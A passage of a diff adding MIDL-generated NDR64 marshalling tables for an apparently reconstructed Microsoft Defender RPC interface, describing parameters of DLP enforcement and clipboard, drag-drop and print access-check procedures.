IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1787_t __midl_frag1787 = +{ +/* Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ + { + /* Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ /* procedure Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1783_t __midl_frag1783 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1782_t __midl_frag1782 = +{ +/* *Struct_126_t */ + { + /* *Struct_126_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* *Struct_126_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1783 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag121 + } +}; + +static const __midl_frag1781_t __midl_frag1781 = +{ +/* *Struct_126_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1782 +}; + +static const __midl_frag1779_t __midl_frag1779 = +{ +/* Proc181_ServerMpRpcDlpInitializeEnforcementMode */ + { + /* Proc181_ServerMpRpcDlpInitializeEnforcementMode */ /* procedure Proc181_ServerMpRpcDlpInitializeEnforcementMode */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1781, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1770_t __midl_frag1770 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ /* Offset */ + } +}; + +static const __midl_frag1769_t __midl_frag1769 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1770 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1768_t __midl_frag1768 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1769 +}; + +static const __midl_frag1761_t __midl_frag1761 = +{ +/* Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ + { + /* Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ /* procedure Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 104 /* 0x68 */ , /* Stack size */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 12 /* 0xc */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2164, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag1768, + { + /* arg_7 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag1837, + { + /* arg_8 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag1837, + { + /* arg_9 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* arg_10 */ /* parameter arg_10 */ + &__midl_frag2368, + { + /* arg_10 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + }, + { + /* arg_11 */ /* parameter arg_11 */ + &__midl_frag2367, + { + /* arg_11 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 88 /* 0x58 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 96 /* 0x60 */, /* Stack offset */ + } +}; + +static const __midl_frag1749_t __midl_frag1749 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1746_t __midl_frag1746 = +{ +/* Struct_3824_t */ + { + /* Struct_3824_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3824_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1749, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1742_t __midl_frag1742 = +{ +/* Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ + { + /* Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ /* procedure Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1837, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1837, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1735_t __midl_frag1735 = +{ +/* *long */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2368 +}; + +static const __midl_frag1725_t __midl_frag1725 = +{ +/* Proc178_ServerMpCheckAccessForPrintOperation2 */ + { + /* Proc178_ServerMpCheckAccessForPrintOperation2 */ /* procedure Proc178_ServerMpCheckAccessForPrintOperation2 */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag1735, + { + /* arg_7 */ + 0, + 1, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], [out] */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2368, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* arg_9 */ /* parameter arg_9 */ + &__midl_frag2367, + { + /* arg_9 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 80 /* 0x50 */, /* Stack offset */ + } +}; + +static const __midl_frag1721_t __midl_frag1721 = +{ +/* */ + { + /* *Struct_3762_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1718 + } +}; + +static const __midl_frag1720_t __midl_frag1720 = +{ +/* Struct_3782_t */ + { + /* Struct_3782_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3782_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1721, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + 